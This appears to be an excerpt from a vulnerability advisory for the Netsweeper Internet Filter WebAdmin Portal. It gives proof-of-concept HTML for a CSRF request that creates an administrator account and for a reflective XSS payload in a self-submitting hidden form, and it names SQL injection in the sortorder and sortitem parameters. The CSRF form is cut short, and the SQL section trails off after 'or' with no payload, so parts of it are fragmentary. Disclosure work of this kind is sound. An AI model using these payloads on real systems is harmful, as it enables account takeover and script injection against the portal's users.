CSRF Exploitation:

In the following example we use CSRF to forge a HTTP POST request that will create an administrator account. The user must be logged in for CSRF to work. Exploitation of a non-administrative users (Sys op) account results in creation of a standard user account.

<form name="pwnd" action="http://server.domain_name/webadmin/accountmgr/adminupdate.php?act=add&filter_login=&goodmsg=Account+Added" method="post">

XSS Exploitation:

The following POC code exploits a reflective XSS vulnerability using the HTTP POST method.

<body>

<form name="pwnd" action="http:// server.domain_name
/webadmin/tools/local_lookup.php?action=lookup" method="post">
<input type="hidden" name="user" value="pwnd" />
<input type="hidden" name="group" value="><script>alert('XSS')</script>" />
<input type="hidden" name="policy" value="pwnd" />
<input type="hidden" name="url" value="pwnd" />

<script>
document.getElementById('pwnd').submit();
</script>

</body>


SQL Injection ("The later") Exploitation:

The Netsweeper Internet Filter WebAdmin Portal is vulnerable to SQL injection, in the sortorder and sortitem variables.

or
